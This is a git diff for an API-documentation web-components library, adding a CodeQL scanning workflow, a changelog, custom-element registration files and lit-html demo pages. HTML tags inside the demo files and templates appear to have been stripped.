diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml new file mode 100644 index 0000000..6999baf --- /dev/null +++ b/.github/workflows/codeql-analysis.yml @@ -0,0 +1,67 @@ +# For most projects, this workflow file will not need changing; you simply need +# to commit it to your repository. +# +# You may wish to alter this file to override the set of languages analyzed, +# or to provide custom queries or build logic. +# +# ******** NOTE ******** +# We have attempted to detect the languages in your repository. Please check +# the `language` matrix defined below to confirm you have the correct set of +# supported CodeQL languages. +# +name: "CodeQL" + +on: + push: + branches: [ master ] + pull_request: + # The branches below must be a subset of the branches above + branches: [ master ] + schedule: + - cron: '21 7 * * 5' + +jobs: + analyze: + name: Analyze + runs-on: ubuntu-latest + + strategy: + fail-fast: false + matrix: + language: [ 'javascript' ] + # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ] + # Learn more: + # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed + + steps: + - name: Checkout repository + uses: actions/checkout@v2 + + # Initializes the CodeQL tools for scanning. + - name: Initialize CodeQL + uses: github/codeql-action/init@v1 + with: + languages: ${{ matrix.language }} + # If you wish to specify custom queries, you can do so here or in a config file. + # By default, queries listed here will override any specified in a config file. + # Prefix the list here with "+" to use these queries and those in the config file. + # queries: ./path/to/local/query, your-org/your-repo/queries@main + + # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). + # If this step fails, then you should remove it and run the build manually (see below) + - name: Autobuild + uses: github/codeql-action/autobuild@v1 + + # ℹī¸ Command-line programs to run using the OS shell. + # 📚 https://git.io/JvXDl + + # ✏ī¸ If the Autobuild fails above, remove it and uncomment the following three lines + # and modify them (or add more) to build your code if your project + # uses a compiled language + + #- run: | + # make bootstrap + # make release + + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@v1 diff --git a/.github/workflows/deployment.yml b/.github/workflows/deployment.yml index a73904c..faf5a55 100644 --- a/.github/workflows/deployment.yml +++ b/.github/workflows/deployment.yml @@ -13,13 +13,8 @@ on: - main jobs: test_linux: - name: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [ubuntu-20.04] - # os: [ubuntu-18.04, ubuntu-20.04] - runs-on: ${{ matrix.os }} + name: Ubuntu + runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - uses: actions/setup-node@v1 diff --git a/.gitignore b/.gitignore index 6775e3f..f19881a 100644 --- a/.gitignore +++ b/.gitignore @@ -59,7 +59,6 @@ coverage demo/vendor.js # AMF models -/demo/*.json -!demo/apis.json +demo/models/ -.idea/ \ No newline at end of file +.idea/ diff --git a/.vscode/settings.json b/.vscode/settings.json index c8fdff6..db32495 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -1,11 +1,19 @@ { "cSpell.words": [ - "Applian", - "Nexmo", - "Tryit", "apiserverchanged", + "Applian", + "contentinfo", + "dompurify", + "fasttext", + "mimechange", "monostate", + "Nexmo", "notryit", - "serverscountchanged" + "serverscountchanged", + "signedup", + "stevetest", + "Tryit", + "Unionable", + "xone" ] -} \ No newline at end of file +} diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..89222ed --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,16 @@ +# Changelog + +## 7.0.0 + +### ApiResourceDocumentationElement (former api-endpoint-documentation) + +The `api-resource-document` element has the following properties changes compared to deprecated `api-endpoint-documentation` + +- `noTryIt` is renamed to `tryItButton`. When `tryItButton` is set then the try it button in operations is rendered. +- `inlineMethods` is renamed to `tryItPanel`. Has the same function. +- `noUrlEditor` is now renamed to `urlEditor`. When `urlEditor` is set then the HTTP request editor renders the URL editor input field. + +### ApiOperationDocumentElement (former api-operation-documentation) + +- `tryIt` is renamed to `tryItButton` +- `tryItButton` is always set to `false` when `tryItPanel` is set on the resource document element. diff --git a/TODO.md b/TODO.md new file mode 100644 index 0000000..9df27dd --- /dev/null +++ b/TODO.md @@ -0,0 +1,16 @@ + +# TODO + +- ~~Add "try it" button~~ +- ~~Sync the Operation template~~ +- ~~Sync the Endpoint template~~ +- ~~Sync the Schema template~~ +- ~~Sync the Response template~~ +- ~~Sync the Payload template~~ +- ~~Render the request editor side-by-side~~ +- ~~Fix the `(unknown path)` in the operation~~ +- ~~Rendering of fragments and the partial model~~ +- ~~main `api-documentation` element~~ +- ~~replace body content type selector with radio buttons like in the request editor~~ +- ~~move the `api-summary` element~~ +- Tests diff --git a/api-annotation-document.d.ts b/api-annotation-document.d.ts new file mode 100644 index 0000000..7e46f34 --- /dev/null +++ b/api-annotation-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiAnnotationDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-annotation-document": Element; + } +} diff --git a/api-annotation-document.js b/api-annotation-document.js new file mode 100644 index 0000000..e54c310 --- /dev/null +++ b/api-annotation-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiAnnotationDocumentElement.js'; + +window.customElements.define('api-annotation-document', Element); diff --git a/api-channel-document.d.ts b/api-channel-document.d.ts new file mode 100644 index 0000000..18b8557 --- /dev/null +++ b/api-channel-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiChannelDocumentationElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-channel-document": Element; + } +} diff --git a/api-channel-document.js b/api-channel-document.js new file mode 100644 index 0000000..5e153a2 --- /dev/null +++ b/api-channel-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiChannelDocumentationElement.js'; + +window.customElements.define('api-channel-document', Element); diff --git a/api-documentation-document.d.ts b/api-documentation-document.d.ts new file mode 100644 index 0000000..cb22b9d --- /dev/null +++ b/api-documentation-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiDocumentationDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-documentation-document": Element; + } +} diff --git a/api-documentation-document.js b/api-documentation-document.js new file mode 100644 index 0000000..7fb7db1 --- /dev/null +++ b/api-documentation-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiDocumentationDocumentElement.js'; + +window.customElements.define('api-documentation-document', Element); diff --git a/api-documentation.d.ts b/api-documentation.d.ts index 276d369..9d2788e 100644 --- a/api-documentation.d.ts +++ b/api-documentation.d.ts @@ -1,7 +1,7 @@ -import { ApiDocumentationElement } from './src/ApiDocumentationElement'; +import Element from './src/elements/ApiDocumentationElement'; declare global { interface HTMLElementTagNameMap { - "api-documentation": ApiDocumentationElement; + "api-documentation": Element; } } diff --git a/api-documentation.js b/api-documentation.js index 8dbd086..ca86a39 100644 --- a/api-documentation.js +++ b/api-documentation.js @@ -1,3 +1,3 @@ -import { ApiDocumentationElement } from './src/ApiDocumentationElement.js'; +import Element from './src/elements/ApiDocumentationElement.js'; -window.customElements.define('api-documentation', ApiDocumentationElement); +window.customElements.define('api-documentation', Element); diff --git a/api-operation-document.d.ts b/api-operation-document.d.ts new file mode 100644 index 0000000..228e1fa --- /dev/null +++ b/api-operation-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiOperationDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-operation-document": Element; + } +} diff --git a/api-operation-document.js b/api-operation-document.js new file mode 100644 index 0000000..33b34fa --- /dev/null +++ b/api-operation-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiOperationDocumentElement.js'; + +window.customElements.define('api-operation-document', Element); diff --git a/api-parameter-document.d.ts b/api-parameter-document.d.ts new file mode 100644 index 0000000..2de252a --- /dev/null +++ b/api-parameter-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiParameterDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-parameter-document": Element; + } +} diff --git a/api-parameter-document.js b/api-parameter-document.js new file mode 100644 index 0000000..70f1d97 --- /dev/null +++ b/api-parameter-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiParameterDocumentElement.js'; + +window.customElements.define('api-parameter-document', Element); diff --git a/api-parametrized-security-scheme.d.ts b/api-parametrized-security-scheme.d.ts new file mode 100644 index 0000000..c4d8cc2 --- /dev/null +++ b/api-parametrized-security-scheme.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiParametrizedSecuritySchemeElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-parametrized-security-scheme": Element; + } +} diff --git a/api-parametrized-security-scheme.js b/api-parametrized-security-scheme.js new file mode 100644 index 0000000..a7e65bf --- /dev/null +++ b/api-parametrized-security-scheme.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiParametrizedSecuritySchemeElement.js'; + +window.customElements.define('api-parametrized-security-scheme', Element); diff --git a/api-payload-document.d.ts b/api-payload-document.d.ts new file mode 100644 index 0000000..0a24b16 --- /dev/null +++ b/api-payload-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiPayloadDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-payload-document": Element; + } +} diff --git a/api-payload-document.js b/api-payload-document.js new file mode 100644 index 0000000..04ac73e --- /dev/null +++ b/api-payload-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiPayloadDocumentElement.js'; + +window.customElements.define('api-payload-document', Element); diff --git a/api-request-document.d.ts b/api-request-document.d.ts new file mode 100644 index 0000000..631c54a --- /dev/null +++ b/api-request-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiRequestDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-request-document": Element; + } +} diff --git a/api-request-document.js b/api-request-document.js new file mode 100644 index 0000000..090f057 --- /dev/null +++ b/api-request-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiRequestDocumentElement.js'; + +window.customElements.define('api-request-document', Element); diff --git a/api-resource-document.d.ts b/api-resource-document.d.ts new file mode 100644 index 0000000..a2f2061 --- /dev/null +++ b/api-resource-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiResourceDocumentationElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-resource-document": Element; + } +} diff --git a/api-resource-document.js b/api-resource-document.js new file mode 100644 index 0000000..bb27969 --- /dev/null +++ b/api-resource-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiResourceDocumentationElement.js'; + +window.customElements.define('api-resource-document', Element); diff --git a/api-response-document.d.ts b/api-response-document.d.ts new file mode 100644 index 0000000..5627063 --- /dev/null +++ b/api-response-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiResponseDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-response-document": Element; + } +} diff --git a/api-response-document.js b/api-response-document.js new file mode 100644 index 0000000..5923bed --- /dev/null +++ b/api-response-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiResponseDocumentElement.js'; + +window.customElements.define('api-response-document', Element); diff --git a/api-schema-document.d.ts b/api-schema-document.d.ts new file mode 100644 index 0000000..edfd6e7 --- /dev/null +++ b/api-schema-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiSchemaDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-schema-document": Element; + } +} diff --git a/api-schema-document.js b/api-schema-document.js new file mode 100644 index 0000000..c9b7422 --- /dev/null +++ b/api-schema-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiSchemaDocumentElement.js'; + +window.customElements.define('api-schema-document', Element); diff --git a/api-security-document.d.ts b/api-security-document.d.ts new file mode 100644 index 0000000..fca8658 --- /dev/null +++ b/api-security-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiSecurityDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-security-document": Element; + } +} diff --git a/api-security-document.js b/api-security-document.js new file mode 100644 index 0000000..32985fd --- /dev/null +++ b/api-security-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiSecurityDocumentElement.js'; + +window.customElements.define('api-security-document', Element); diff --git a/api-security-requirement-document.d.ts b/api-security-requirement-document.d.ts new file mode 100644 index 0000000..5e6345a --- /dev/null +++ b/api-security-requirement-document.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiSecurityRequirementDocumentElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-security-requirement-document": Element; + } +} diff --git a/api-security-requirement-document.js b/api-security-requirement-document.js new file mode 100644 index 0000000..f0b143c --- /dev/null +++ b/api-security-requirement-document.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiSecurityRequirementDocumentElement.js'; + +window.customElements.define('api-security-requirement-document', Element); diff --git a/api-summary.d.ts b/api-summary.d.ts new file mode 100644 index 0000000..046e137 --- /dev/null +++ b/api-summary.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiSummaryElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-summary": Element; + } +} diff --git a/api-summary.js b/api-summary.js new file mode 100644 index 0000000..508ffc1 --- /dev/null +++ b/api-summary.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiSummaryElement.js'; + +window.customElements.define('api-summary', Element); diff --git a/demo/api-annotation.html b/demo/api-annotation.html new file mode 100644 index 0000000..d6c3d3f --- /dev/null +++ b/demo/api-annotation.html @@ -0,0 +1,16 @@ + + + + + + + API Annotation + + + + +
+ + + + diff --git a/demo/api-annotation.js b/demo/api-annotation.js new file mode 100644 index 0000000..61e7c06 --- /dev/null +++ b/demo/api-annotation.js @@ -0,0 +1,125 @@ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-annotation-document.js'; + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ + 'shape', + ]); + this.shape = undefined; + this.componentName = 'api-annotation-document'; + this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type } = e.detail; + if (type === 'type') { + this.setTypeData(selected); + } else if (type === 'endpoint') { + this.setEndpointData(selected); + } else if (type === 'method') { + this.setMethodData(selected); + } else { + this.shape = undefined; + } + console.log(this.shape); + } + + /** + * @param {string} id + */ + setTypeData(id) { + const declares = this._computeDeclares(this.amf); + const type = declares.find((item) => item['@id'] === id); + if (!type) { + console.error('Type not found'); + return; + } + this.shape = type; + } + + /** + * @param {string} id + */ + setEndpointData(id) { + const webApi = this._computeWebApi(this.amf); + this.shape = this._computeEndpointModel(webApi, id); + } + + /** + * @param {string} id + */ + setMethodData(id) { + const webApi = this._computeWebApi(this.amf); + this.shape = this._computeMethodModel(webApi, id); + } + + contentTemplate() { + return html` +

API annotation

+ ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
+

Interactive demo

+

+ This demo lets you preview the API annotation document with various configuration options. +

+ +
+ ${!loaded ? html`

Load an API model first.

` : this.loadedTemplate()} +
+
+ `; + } + + loadedTemplate() { + return html` + ${this.componentTemplate()} + `; + } + + componentTemplate() { + const { demoStates, darkThemeActive, shape, amf } = this; + if (!shape) { + return html`

Select API object in the navigation

`; + } + return html` + + + + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['annotated-api', 'Annotated API'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label}`; + }); + return result; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/api-channel.html b/demo/api-channel.html new file mode 100644 index 0000000..b0473c1 --- /dev/null +++ b/demo/api-channel.html @@ -0,0 +1,16 @@ + + + + + + + API Channel + + + + +
+ + + + diff --git a/demo/api-channel.js b/demo/api-channel.js new file mode 100644 index 0000000..c7d1436 --- /dev/null +++ b/demo/api-channel.js @@ -0,0 +1,124 @@ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import '@advanced-rest-client/authorization/oauth2-authorization.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-channel-document.js'; + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ + 'selectedId', 'selectedType', 'selectedOperation', + ]); + this.compatibility = false; + this.selectedId = undefined; + this.selectedType = undefined; + this.selectedOperation = undefined; + this.componentName = 'api-channel-document'; + this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type, passive, endpointId } = e.detail; + if (passive) { + return; + } + if (type === 'endpoint') { + this.selectedId = selected; + this.selectedType = type; + this.selectedOperation = undefined; + } else if (type === 'method') { + this.selectedId = endpointId; + this.selectedType = 'endpoint'; + this.selectedOperation = selected; + } else { + this.selectedId = undefined; + this.selectedType = undefined; + this.selectedOperation = undefined; + } + } + + editorCloseHandler() { + this.editorOperation = undefined; + this.editorOpened = false; + } + + contentTemplate() { + return html` +

API channel

+ ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
+

Interactive demo

+

+ This demo lets you preview the API channel document with various configuration options. +

+ +
+ ${!loaded ? html`

Load an API model first.

` : this.loadedTemplate()} +
+
+ `; + } + + loadedTemplate() { + return html` + ${this.componentTemplate()} + `; + } + + componentTemplate() { + const { demoStates, darkThemeActive, selectedId, selectedOperation, amf } = this; + if (!selectedId) { + return html`

Select API operation in the navigation

`; + } + return html` + + + + + + + Render try it + + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['async-api', 'Demo API'], + ['Streetlights', 'Streetlights API'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label}`; + }); + return result; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/api-documentation-document.html b/demo/api-documentation-document.html new file mode 100644 index 0000000..7269400 --- /dev/null +++ b/demo/api-documentation-document.html @@ -0,0 +1,16 @@ + + + + + + + AMF Documentation Document + + + + +
+ + + + diff --git a/demo/api-documentation-document.js b/demo/api-documentation-document.js new file mode 100644 index 0000000..58c6f72 --- /dev/null +++ b/demo/api-documentation-document.js @@ -0,0 +1,103 @@ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import '@api-components/api-navigation/api-navigation.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-documentation-document.js'; + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ + 'selectedId', 'selectedType', 'loaded', + ]); + this.componentName = 'api-documentation-document'; + this.renderViewControls = true; + this.loaded = false; + this.selectedId = undefined; + this.selectedType = undefined; + this.endpointsOpened = false; + this.docsOpened = true; + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type, passive } = e.detail; + if (passive) { + return; + } + if (type === 'documentation') { + this.selectedId = selected; + this.selectedType = type; + } else { + this.selectedId = undefined; + this.selectedType = undefined; + } + } + + async _loadFile(file) { + await super._loadFile(file); + this.loaded = true; + } + + contentTemplate() { + return html` +

API documentation

+ ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
+

Interactive demo

+

+ This demo lets you preview the API documentation document with various configuration options. +

+ +
+ ${!loaded ? html`

Load an API model first.

` : this._componentTemplate()} +
+
+ `; + } + + _componentTemplate() { + const { demoStates, darkThemeActive, selectedId, amf } = this; + if (!selectedId) { + return html`

Select API documentation in the navigation

`; + } + return html` + + + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['demo-api', 'Demo API'], + ['google-drive-api', 'Google Drive'], + ['async-api', 'Async API'], + ['Petstore-v2', 'Petstore OAS API'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label} + `; + }); + return result; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/api-documentation-partial.html b/demo/api-documentation-partial.html new file mode 100644 index 0000000..0c079f7 --- /dev/null +++ b/demo/api-documentation-partial.html @@ -0,0 +1,16 @@ + + + + + + + API Documentation + + + + +
+ + + + diff --git a/demo/api-documentation-partial.js b/demo/api-documentation-partial.js new file mode 100644 index 0000000..849d75f --- /dev/null +++ b/demo/api-documentation-partial.js @@ -0,0 +1,350 @@ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import '@anypoint-web-components/anypoint-dialog/anypoint-dialog.js'; +import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js'; +import '@api-components/api-request/api-request-panel.js'; +import '@api-components/api-request/xhr-simple-request.js'; +import '@advanced-rest-client/authorization/oauth2-authorization.js'; +import '@api-components/api-server-selector/api-server-selector.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import { AmfPartialGraphStore } from './lib/AmfPartialGraphStore.js'; +import '../api-documentation.js'; + +/** @typedef {import('lit-html').TemplateResult} TemplateResult */ + +/** + * @param {Event} e + */ +function cancelEvent(e) { + e.preventDefault(); + e.stopPropagation(); + e.stopImmediatePropagation(); +} + +class ComponentDemo extends AmfDemoBase { + constructor() { + super(); + + this.initObservableProperties([ + 'domainId', 'domainType', 'operationId', + 'tryItButton', 'tryItPanel', + 'editorOpened', 'editorOperation', 'overrideBaseUri', + 'serverType', 'serverValue', + 'noServerSelector', 'allowCustomBaseUri', + 'renderCustomServer', + 'summaryModel', 'partialModelDocs' + ]); + this.store = new AmfPartialGraphStore(); + this.componentName = 'api-documentation'; + this.compatibility = false; + this.editorOpened = false; + this.editorOperation = undefined; + this.domainId = undefined; + this.domainType = undefined; + this.operationId = undefined; + this.tryItButton = true; + this.tryItPanel = false; + this.overrideBaseUri = false; + this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; + // this.redirectUri = 'https://auth.advancedrestclient.com/oauth-popup.html'; + this.renderCustomServer = false; + this.noServerSelector = false; + this.allowCustomBaseUri = false; + this.demoStates = ['Material', 'Anypoint']; + this.summaryModel = undefined; + this.partialModelDocs = undefined; + this.context = undefined; + } + + /** @param {string} file */ + async _loadFile(file) { + this.domainId = 'summary'; + this.domainType = 'summary'; + await super._loadFile(file); + let { amf } = this; + if (Array.isArray(amf)) { + [amf] = amf; + } + this.store.amf = amf; + this.context = amf['@context']; + await this.loadSummary(); + } + + async loadSummary() { + // debugger + const model = this.store.summary(); + this.summaryModel = model; + this.partialModelDocs = model; + console.log(model); + this.render(); + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type, endpointId, passive } = e.detail; + if (passive === true) { + return; + } + this.operationId = undefined; + if (type === 'type') { + this.partialModelDocs = this.store.schema(selected, this.context); + this.domainId = selected; + this.domainType = type; + return; + } + if (type === 'security') { + this.partialModelDocs = this.store.securityRequirement(selected, this.context); + this.domainId = selected; + this.domainType = type; + return; + } + if (type === 'endpoint') { + this.partialModelDocs = this.store.endpoint(selected, this.context); + this.domainId = selected; + this.domainType = type; + return + } + if (type === 'method') { + if (!this.partialModelDocs || this.partialModelDocs['@id'] !== endpointId) { + this.partialModelDocs = this.store.endpoint(endpointId, this.context); + } + this.domainId = endpointId; + this.operationId = selected; + this.domainType = type; + return + } + if (type === 'summary') { + this.partialModelDocs = this.summaryModel; + this.domainId = selected; + this.domainType = type; + return; + } + console.log(selected, type, endpointId, passive); + // this.domainType = type; + // if (type === 'method') { + // this.operationId = selected; + // this.domainId = endpointId; + // } else { + // this.operationId = undefined; + // this.domainId = selected; + // } + } + + /** + * @param {CustomEvent} e + */ + tryitHandler(e) { + const { id } = e.detail; + this.editorOperation = id; + this.editorOpened = true; + } + + editorCloseHandler() { + this.editorOperation = undefined; + this.editorOpened = false; + } + + contentTemplate() { + return html` + + +

API documentation with partial model

+ ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
+

Interactive demo

+

+ This demo lets you preview the API documentation with various configuration options. +

+
+ ${!loaded ? html`

Load an API model first.

` : this.loadedTemplate()} +
+
+ `; + } + + loadedTemplate() { + return html` + ${this.componentTemplate()} + ${this.requestEditorDialogTemplate()} + `; + } + + componentTemplate() { + const { demoStates, darkThemeActive, } = this; + let finalBaseUri; + if (this.overrideBaseUri) { + finalBaseUri = 'https://custom.api.com'; + } + return html` + + + ${this._addCustomServers()} + + + + + Render try it + + + Render HTTP editor + + + Custom base URI + + + No server selector + + + Allow custom base URI + + + Custom servers + + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['demo-api', 'Demo API'], + ['google-drive-api', 'Google Drive'], + ['multi-server', 'Multiple servers'], + ['array-body', 'Body with array test case'], + ['nexmo-sms-api', 'Nexmo SMS API'], + ['appian-api', 'Applian API'], + ['APIC-15', 'APIC-15'], + ['oauth1-fragment', 'OAuth 1 fragment'], + ['oauth2-fragment', 'OAuth 2 fragment'], + ['documentation-fragment', 'Documentation fragment'], + ['type-fragment', 'Type fragment'], + ['lib-fragment', 'Library fragment'], + ['SE-10469', 'SE-10469'], + ['SE-11415', 'SE-11415'], + ['async-api', 'async-api'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label}`; + }); + return result; + } + + _addCustomServers() { + if (!this.renderCustomServer) { + return ''; + } + const { compatibility } = this; + return html` +
Other options
+ Mocking service + Custom instance`; + } + + requestEditorDialogTemplate() { + return html` + +

API request

+ + + + +
+ Close +
+
+ `; + } + + /** + * @return {TemplateResult|string} Template for API navigation element + */ + _apiNavigationTemplate() { + return html` + `; + } +} +const instance = new ComponentDemo(); +instance.render(); diff --git a/demo/api-documentation.html b/demo/api-documentation.html new file mode 100644 index 0000000..0b76904 --- /dev/null +++ b/demo/api-documentation.html @@ -0,0 +1,16 @@ + + + + + + + API Documentation + + + + +
+ + + + diff --git a/demo/api-documentation.js b/demo/api-documentation.js new file mode 100644 index 0000000..733f82d --- /dev/null +++ b/demo/api-documentation.js @@ -0,0 +1,260 @@ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import '@anypoint-web-components/anypoint-dialog/anypoint-dialog.js'; +import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js'; +import '@api-components/api-request/api-request-panel.js'; +import '@api-components/api-request/xhr-simple-request.js'; +import '@advanced-rest-client/authorization/oauth2-authorization.js'; +import '@api-components/api-server-selector/api-server-selector.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-documentation.js'; + +class ComponentDemo extends AmfDemoBase { + constructor() { + super(); + + this.initObservableProperties([ + 'domainId', 'domainType', 'operationId', + 'tryItButton', 'tryItPanel', + 'editorOpened', 'editorOperation', 'overrideBaseUri', + 'serverType', 'serverValue', + 'noServerSelector', 'allowCustomBaseUri', + 'renderCustomServer', + ]); + this.componentName = 'api-documentation'; + this.compatibility = false; + this.editorOpened = false; + this.editorOperation = undefined; + this.domainId = undefined; + this.domainType = undefined; + this.operationId = undefined; + this.tryItButton = true; + this.tryItPanel = false; + this.overrideBaseUri = false; + this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; + // this.redirectUri = 'https://auth.advancedrestclient.com/oauth-popup.html'; + this.renderCustomServer = false; + this.noServerSelector = false; + this.allowCustomBaseUri = false; + this.demoStates = ['Material', 'Anypoint']; + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type, endpointId, passive } = e.detail; + if (passive === true) { + return; + } + this.domainType = type; + if (type === 'method') { + this.operationId = selected; + this.domainId = endpointId; + } else { + this.operationId = undefined; + this.domainId = selected; + } + } + + /** + * @param {CustomEvent} e + */ + tryitHandler(e) { + const { id } = e.detail; + this.editorOperation = id; + this.editorOpened = true; + } + + editorCloseHandler() { + this.editorOperation = undefined; + this.editorOpened = false; + } + + contentTemplate() { + return html` + + +

API documentation

+ ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
+

Interactive demo

+

+ This demo lets you preview the API documentation with various configuration options. +

+
+ ${!loaded ? html`

Load an API model first.

` : this.loadedTemplate()} +
+
+ `; + } + + loadedTemplate() { + return html` + ${this.componentTemplate()} + ${this.requestEditorDialogTemplate()} + `; + } + + componentTemplate() { + const { demoStates, darkThemeActive, amf, } = this; + let finalBaseUri; + if (this.overrideBaseUri) { + finalBaseUri = 'https://custom.api.com'; + } + return html` + + + ${this._addCustomServers()} + + + + + Render try it + + + Render HTTP editor + + + Custom base URI + + + No server selector + + + Allow custom base URI + + + Custom servers + + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['demo-api', 'Demo API'], + ['google-drive-api', 'Google Drive'], + ['multi-server', 'Multiple servers'], + ['array-body', 'Body with array test case'], + ['nexmo-sms-api', 'Nexmo SMS API'], + ['appian-api', 'Applian API'], + ['APIC-15', 'APIC-15'], + ['oauth1-fragment', 'OAuth 1 fragment'], + ['oauth2-fragment', 'OAuth 2 fragment'], + ['documentation-fragment', 'Documentation fragment'], + ['type-fragment', 'Type fragment'], + ['lib-fragment', 'Library fragment'], + ['SE-10469', 'SE-10469'], + ['SE-11415', 'SE-11415'], + ['async-api', 'async-api'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label}`; + }); + return result; + } + + _addCustomServers() { + if (!this.renderCustomServer) { + return ''; + } + const { compatibility } = this; + return html` +
Other options
+ Mocking service + Custom instance`; + } + + requestEditorDialogTemplate() { + return html` + +

API request

+ + + + +
+ Close +
+
+ `; + } +} +const instance = new ComponentDemo(); +instance.render(); diff --git a/demo/api-operation.html b/demo/api-operation.html new file mode 100644 index 0000000..215777b --- /dev/null +++ b/demo/api-operation.html @@ -0,0 +1,16 @@ + + + + + + + API Operation + + + + +
